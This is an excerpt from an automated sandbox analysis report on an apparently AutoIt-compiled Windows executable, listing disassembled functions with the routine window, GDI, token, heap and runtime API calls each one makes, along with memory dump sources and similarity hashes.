Function 00007FF7C0EBD6A0 Relevance: 6.1, APIs: 4, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7C0EBCAB4: GetTokenInformation.ADVAPI32 ref: 00007FF7C0EBCAE6
Part of subcall function 00007FF7C0EBCAB4: GetLastError.KERNEL32 ref: 00007FF7C0EBCAF2
Part of subcall function 00007FF7C0EBCAB4: GetProcessHeap.KERNEL32 ref: 00007FF7C0EBCAFF
Part of subcall function 00007FF7C0EBCAB4: HeapAlloc.KERNEL32 ref: 00007FF7C0EBCB0E
Part of subcall function 00007FF7C0EBCAB4: GetTokenInformation.ADVAPI32 ref: 00007FF7C0EBCB2D

GetLengthSid.ADVAPI32 ref: 00007FF7C0EBD71A
CopySid.ADVAPI32 ref: 00007FF7C0EBD73F
GetProcessHeap.KERNEL32 ref: 00007FF7C0EBD754
HeapFree.KERNEL32 ref: 00007FF7C0EBD762

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: Heap$InformationProcessToken$AllocCopyErrorFreeLastLength
String ID:
API String ID: 837644225-0
Opcode ID: 9a34ca7cdec84128c61d79319dba9bc3ccc379250e2fae1bd0d7ccebff0f194a
Instruction ID: 9e170301f70a7ac3f8ade3cd8c26d870ffcc7047e3b3ca9beb161ebb9043ad33
Opcode Fuzzy Hash: 9a34ca7cdec84128c61d79319dba9bc3ccc379250e2fae1bd0d7ccebff0f194a
Instruction Fuzzy Hash: C821D132A19B5186EB05EF21D4047A9B3A5FB44BA5F85423ACE0D83754EF7CE841C7A4

Function 00007FF7C0F02264 Relevance: 6.1, APIs: 4, Instructions: 56COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7C0E52A54: GetWindowLongPtrW.USER32 ref: 00007FF7C0E52A71

GetClientRect.USER32(?,?,?,?,?,00007FF7C0E9AA36,?,?,?,?,?,?,?,?,?,00007FF7C0E527AF), ref: 00007FF7C0F022C4
GetCursorPos.USER32(?,?,?,?,?,00007FF7C0E9AA36,?,?,?,?,?,?,?,?,?,00007FF7C0E527AF), ref: 00007FF7C0F022CF
ScreenToClient.USER32 ref: 00007FF7C0F022DD
DefDlgProcW.USER32(?,?,?,?,?,00007FF7C0E9AA36,?,?,?,?,?,?,?,?,?,00007FF7C0E527AF), ref: 00007FF7C0F0231F

Part of subcall function 00007FF7C0EFE894: LoadCursorW.USER32 ref: 00007FF7C0EFE945

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: ClientCursor$LoadLongProcRectScreenWindow
String ID:
API String ID: 1626762757-0
Opcode ID: c10d22a9dfdb007e9cd3e446db2f26fc59a904d9b079c484f8598dfd72a81c9f
Instruction ID: 965516409c483e6977c77476a54011afb41d4bc2378683a9e134eaa3a9fb4338
Opcode Fuzzy Hash: c10d22a9dfdb007e9cd3e446db2f26fc59a904d9b079c484f8598dfd72a81c9f
Instruction Fuzzy Hash: DC215C32A0C64286EA24EF45E890569B360FB84F98F940131DB4D83B59CF3CF984C7A0

Function 00007FF7C0E5932C Relevance: 6.1, APIs: 4, Instructions: 56windowCOMMON

Download Yara Rule

APIs

CreateWindowExW.USER32 ref: 00007FF7C0E593BC
GetStockObject.GDI32 ref: 00007FF7C0E593D9
SendMessageW.USER32 ref: 00007FF7C0E593EC

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: CreateMessageObjectSendStockWindow
String ID:
API String ID: 3970641297-0
Opcode ID: dfdf152a6b4170b9c012631cbf21b5eef6d1f67974f7a0a9349fa7dc94decf0b
Instruction ID: 0f21a5d301622866b1c8390078335e2fc7215a1f42dcdadd066d20875741494d
Opcode Fuzzy Hash: dfdf152a6b4170b9c012631cbf21b5eef6d1f67974f7a0a9349fa7dc94decf0b
Instruction Fuzzy Hash: 9F214172A0DBC58AE764AF15E4447AAF7A0FB88B94F840135DA8D83B54DF7CE484CB40

Function 00007FF7C0E82FB8 Relevance: 6.1, APIs: 4, Instructions: 55COMMON

Download Yara Rule

APIs

_ctrlfp.LIBCMT ref: 00007FF7C0E82FE5
_ctrlfp.LIBCMT ref: 00007FF7C0E83039
_ctrlfp.LIBCMT ref: 00007FF7C0E8304D
_ctrlfp.LIBCMT ref: 00007FF7C0E83071

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: _ctrlfp
String ID:
API String ID: 697997973-0
Opcode ID: 696024c0d85e9950b44dad3db47e8c6049c7f355de1dae667ed974782f5b2eb5
Instruction ID: 8e64d4b507e90fa1154a1b957548ce36f1decadbe5efddc859ea1e8a3a39f658
Opcode Fuzzy Hash: 696024c0d85e9950b44dad3db47e8c6049c7f355de1dae667ed974782f5b2eb5
Instruction Fuzzy Hash: BC11F921D4C58581D611BE3D904107BD271EF9A790FA44334FB89967A5DF2DF5408B80

Function 00007FF7C0ECCF68 Relevance: 6.1, APIs: 4, Instructions: 55synchronizationthreadwindowCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00007FF7C0ECCFA7

Part of subcall function 00007FF7C0E81F44: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7C0E81F68

MessageBoxW.USER32 ref: 00007FF7C0ECCFEA
WaitForSingleObject.KERNEL32 ref: 00007FF7C0ECD004
CloseHandle.KERNEL32 ref: 00007FF7C0ECD00D

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: CloseCurrentHandleMessageObjectSingleThreadWait_invalid_parameter_noinfo
String ID:
API String ID: 2979156933-0
Opcode ID: 2a49c66315dd4afd268b707153c3627d2a79b8a5ce35e179a418e828e304454b
Instruction ID: c9375aaa4d7ee567b4f40f4cc0edc8132dab738348936691e4d3ea555014a44d
Opcode Fuzzy Hash: 2a49c66315dd4afd268b707153c3627d2a79b8a5ce35e179a418e828e304454b
Instruction Fuzzy Hash: 3E21F332A0C78186E711EF66B84416AF791BB84BE4F844235EE9D83B69CF7CE1458790

Function 00007FF7C0EFFA78 Relevance: 6.0, APIs: 4, Instructions: 46COMMON

Download Yara Rule

APIs

GetWindowRect.USER32 ref: 00007FF7C0EFFAA8
ScreenToClient.USER32 ref: 00007FF7C0EFFAC1
ScreenToClient.USER32 ref: 00007FF7C0EFFAE6
InvalidateRect.USER32 ref: 00007FF7C0EFFB02

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: ClientRectScreen$InvalidateWindow
String ID:
API String ID: 357397906-0
Opcode ID: 30ca773a2ae41b56c6e1d6d31e0bfc9c1d6a93403dc69e79101ac1cf7de44ee4
Instruction ID: 105562dce3d9c2d723cb253fa19e8820a6b97fa8f39d6e2d370af9f3cd2f50b4
Opcode Fuzzy Hash: 30ca773a2ae41b56c6e1d6d31e0bfc9c1d6a93403dc69e79101ac1cf7de44ee4
Instruction Fuzzy Hash: 8921D8B6A04741DFEB00DF74D84469C77B0F748B58B404826EA5893B18DB78E654CB50

Function 00007FF7C0EC4B28 Relevance: 6.0, APIs: 4, Instructions: 44registryCOMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32 ref: 00007FF7C0EC4B47
LoadTypeLibEx.OLEAUT32 ref: 00007FF7C0EC4B62
RegisterTypeLib.OLEAUT32 ref: 00007FF7C0EC4B77
RegisterTypeLibForUser.OLEAUT32 ref: 00007FF7C0EC4B95

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: Type$Register$FileLoadModuleNameUser
String ID:
API String ID: 1352324309-0
Opcode ID: 26dceef0b12b748e4890be4283cc75c768f711def0b64c07a5df3002dea28784
Instruction ID: 729014684e3858d4945b1a62b9b11f4f505f4788ab1cba7f0cb63e7d720eb5dd
Opcode Fuzzy Hash: 26dceef0b12b748e4890be4283cc75c768f711def0b64c07a5df3002dea28784
Instruction Fuzzy Hash: 9C1146B175C54282E720AF15D48476AA3E0FB84B58F948135CA4DCB744CF7DF954CBA0

Function 00007FF7C0E8B778 Relevance: 6.0, APIs: 4, Instructions: 43COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00007FF7C0E78DD0,?,?,0x%p,00007FF7C0E7D8ED), ref: 00007FF7C0E8B782
SetLastError.KERNEL32(?,?,?,00007FF7C0E78DD0,?,?,0x%p,00007FF7C0E7D8ED), ref: 00007FF7C0E8B7EA
SetLastError.KERNEL32(?,?,?,00007FF7C0E78DD0,?,?,0x%p,00007FF7C0E7D8ED), ref: 00007FF7C0E8B800
abort.LIBCMT ref: 00007FF7C0E8B806

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: ErrorLast$abort
String ID:
API String ID: 1447195878-0
Opcode ID: 5c68b7f432a971f9c1a5a37c5612d4f4cb9c7d627adb850da760d9ecfffa7c81
Instruction ID: 01987591d230156e0c05e3213d5722b56aec2bc61b4cf47fed5f1044a524433d
Opcode Fuzzy Hash: 5c68b7f432a971f9c1a5a37c5612d4f4cb9c7d627adb850da760d9ecfffa7c81
Instruction Fuzzy Hash: E201CC20B8D38242FA59BF79951513C91526F84BB0FC40739D91E827E2DF2EF8408BA0

Function 00007FF7C0EC9260 Relevance: 6.0, APIs: 4, Instructions: 37sleepCOMMON

Download Yara Rule

APIs

QueryPerformanceCounter.KERNEL32 ref: 00007FF7C0EC9283
Sleep.KERNEL32 ref: 00007FF7C0EC9297
QueryPerformanceCounter.KERNEL32 ref: 00007FF7C0EC92A2
Sleep.KERNEL32 ref: 00007FF7C0EC92CD

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: CounterPerformanceQuerySleep
String ID:
API String ID: 2875609808-0
Opcode ID: c6a5989f9dc195674d757a8e27f3c1042de8158b51fda3090b6682196588991b
Instruction ID: 5990d0b22f1e5c6489a39ab6df44a49a34f6e0b744ddf37e1cc6ef0cd48e63b6
Opcode Fuzzy Hash: c6a5989f9dc195674d757a8e27f3c1042de8158b51fda3090b6682196588991b
Instruction Fuzzy Hash: E701D620A0CB8652FA1A7F34A04817BF361BF94765F844335E98FA1770CF6DF4858690

Function 00007FF7C0F0072C Relevance: 6.0, APIs: 4, Instructions: 36COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7C0E52370: ExtCreatePen.GDI32 ref: 00007FF7C0E523FF
Part of subcall function 00007FF7C0E52370: SelectObject.GDI32 ref: 00007FF7C0E52412
Part of subcall function 00007FF7C0E52370: BeginPath.GDI32 ref: 00007FF7C0E5242B
Part of subcall function 00007FF7C0E52370: SelectObject.GDI32 ref: 00007FF7C0E52452

MoveToEx.GDI32 ref: 00007FF7C0F00771
LineTo.GDI32 ref: 00007FF7C0F00783
EndPath.GDI32 ref: 00007FF7C0F00795
StrokePath.GDI32 ref: 00007FF7C0F007A5

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: Path$ObjectSelect$BeginCreateLineMoveStroke
String ID:
API String ID: 1539411459-0
Opcode ID: 058f7c961f19f1df1cfb2125e1cbf4c754dffe1c4cdb6de871a3d3459fa768a6
Instruction ID: 6495896303a502172fada50fad44051b5f179af223d7d1542f68947cb7c348ff
Opcode Fuzzy Hash: 058f7c961f19f1df1cfb2125e1cbf4c754dffe1c4cdb6de871a3d3459fa768a6
Instruction Fuzzy Hash: 86017535A1C79142E7016F15B809729EB60BBC6FA8F984534DF5943BA1CFBDF4818B90

Function 00007FF7C0EBD4EC Relevance: 6.0, APIs: 4, Instructions: 24threadCOMMON

Download Yara Rule

APIs

GetCurrentThread.KERNEL32 ref: 00007FF7C0EBD4F6
OpenThreadToken.ADVAPI32(?,?,00000000,00007FF7C0EBCC94), ref: 00007FF7C0EBD509
GetCurrentProcess.KERNEL32(?,?,00000000,00007FF7C0EBCC94), ref: 00007FF7C0EBD513
OpenProcessToken.ADVAPI32(?,?,00000000,00007FF7C0EBCC94), ref: 00007FF7C0EBD524

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: CurrentOpenProcessThreadToken
String ID:
API String ID: 3974789173-0
Opcode ID: 5cd93aab99a75fcfcb42631ab9fe43dfed1bd9e6d723e162398547d1910a1280
Instruction ID: f3cd2a4550ccaac7f97e898214535698f6c41895fbaf13f75a38b9554253fcda
Opcode Fuzzy Hash: 5cd93aab99a75fcfcb42631ab9fe43dfed1bd9e6d723e162398547d1910a1280
Instruction Fuzzy Hash: 2EF03061A5D506C2FB516F61E80476A62A4FF58FA9FC84134C90E82350EF7CA9C98390

Function 00007FF7C0EB326E Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 00007FF7C0EB326E
GetDC.USER32 ref: 00007FF7C0EB327A
GetDeviceCaps.GDI32 ref: 00007FF7C0EB32A4
ReleaseDC.USER32 ref: 00007FF7C0EB32C5

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: CapsDesktopDeviceReleaseWindow
String ID:
API String ID: 2889604237-0
Opcode ID: 1feedfad755e607c49e01145a3823af596c92df2e00356d80eed4a018d1c4b5c
Instruction ID: 079e787106ccea8a4d53c2fa4bc9e9709ce9b831c4d1a6ed4226c15eff527f5a
Opcode Fuzzy Hash: 1feedfad755e607c49e01145a3823af596c92df2e00356d80eed4a018d1c4b5c
Instruction Fuzzy Hash: 90E0E524A0D71686FA11BF72A80C23AA255BF49FE9F808530CD0E83B55DFBCB0858390

Function 00007FF7C0EB3287 Relevance: 6.0, APIs: 4, Instructions: 18COMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 00007FF7C0EB3287
GetDC.USER32 ref: 00007FF7C0EB3293
GetDeviceCaps.GDI32 ref: 00007FF7C0EB32A4
ReleaseDC.USER32 ref: 00007FF7C0EB32C5

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: CapsDesktopDeviceReleaseWindow
String ID:
API String ID: 2889604237-0
Opcode ID: 0f8fd1d3423bd3015dfaeae2d2106595fe3726f148ce33332917fba087c4fcce
Instruction ID: d3f80cd5806288b5ce925e11afc6159772a5dfe3a841b1dd211e9e4e53834097
Opcode Fuzzy Hash: 0f8fd1d3423bd3015dfaeae2d2106595fe3726f148ce33332917fba087c4fcce
Instruction Fuzzy Hash: 2CE01A24A0D71686FA01BF71A80C23AA254BF49FE9F804030CD0E83B55DFBDB0458390

Function 00007FF7C0E8CC78 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 245COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7C0E8CCDC

Strings

gfffffff, xrefs: 00007FF7C0E8CF6A

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: gfffffff
API String ID: 3215553584-1523873471
Opcode ID: dc31ed7580b08dc4a7b229eebc0aac3b305a5916052008eb2c70828ae2249d51
Instruction ID: 1782a574e828b41f900496fda06a7a9ce25827f296f07608915b4b7c40ec9247
Opcode Fuzzy Hash: dc31ed7580b08dc4a7b229eebc0aac3b305a5916052008eb2c70828ae2249d51
Instruction Fuzzy Hash: 1C915962B493CA86EB21BF2D91403B8AB95AB267E0F448231DB8D87395DF3CF115C351

Function 00007FF7C0EC1D10 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 200comCOMMON

Download Yara Rule

APIs

OleSetContainedObject.OLE32 ref: 00007FF7C0EC1F50

Strings

Container, xrefs: 00007FF7C0EC1E83
AutoIt3GUI, xrefs: 00007FF7C0EC1E7C

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: ContainedObject
String ID: AutoIt3GUI$Container
API String ID: 3565006973-3941886329
Opcode ID: ec532330f33b0a9812ac3d9e654419ff88b42a82dbb45e6ba561f09289b70eff
Instruction ID: 39e5160f4048ac9500394a2469137134e4df753c0558545548eb83507e3b64c8
Opcode Fuzzy Hash: ec532330f33b0a9812ac3d9e654419ff88b42a82dbb45e6ba561f09289b70eff
Instruction Fuzzy Hash: AD914A72604B4681DB24EF29E4506ADB3A5FB88F94F918036DF8D83724DF3AE455C390

Function 00007FF7C0E8D0A8 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 138COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7C0E8D0EB

Strings

e+000, xrefs: 00007FF7C0E8D193
gfff, xrefs: 00007FF7C0E8D216

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: e+000$gfff
API String ID: 3215553584-3030954782
Opcode ID: 04dcd116da85894f10939a0f3d563d07a18b7e7aec23bacfc76a5396d48b7619
Instruction ID: 67f949afaa0cd2f72b430bdf976e0b3bd3fac6d83e6949aeeab7e2943d106487
Opcode Fuzzy Hash: 04dcd116da85894f10939a0f3d563d07a18b7e7aec23bacfc76a5396d48b7619
Instruction Fuzzy Hash: AA510962B5C7C146EB65AF399944369AB91EB81BA0F889331C79CC7BD5CF2CE044C750

Function 00007FF7C0E8A09C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 106COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7C0E8A0C6
GetModuleFileNameW.KERNEL32(?,?,?,?,?,00007FF7C0E7529A), ref: 00007FF7C0E8A0E2

Strings

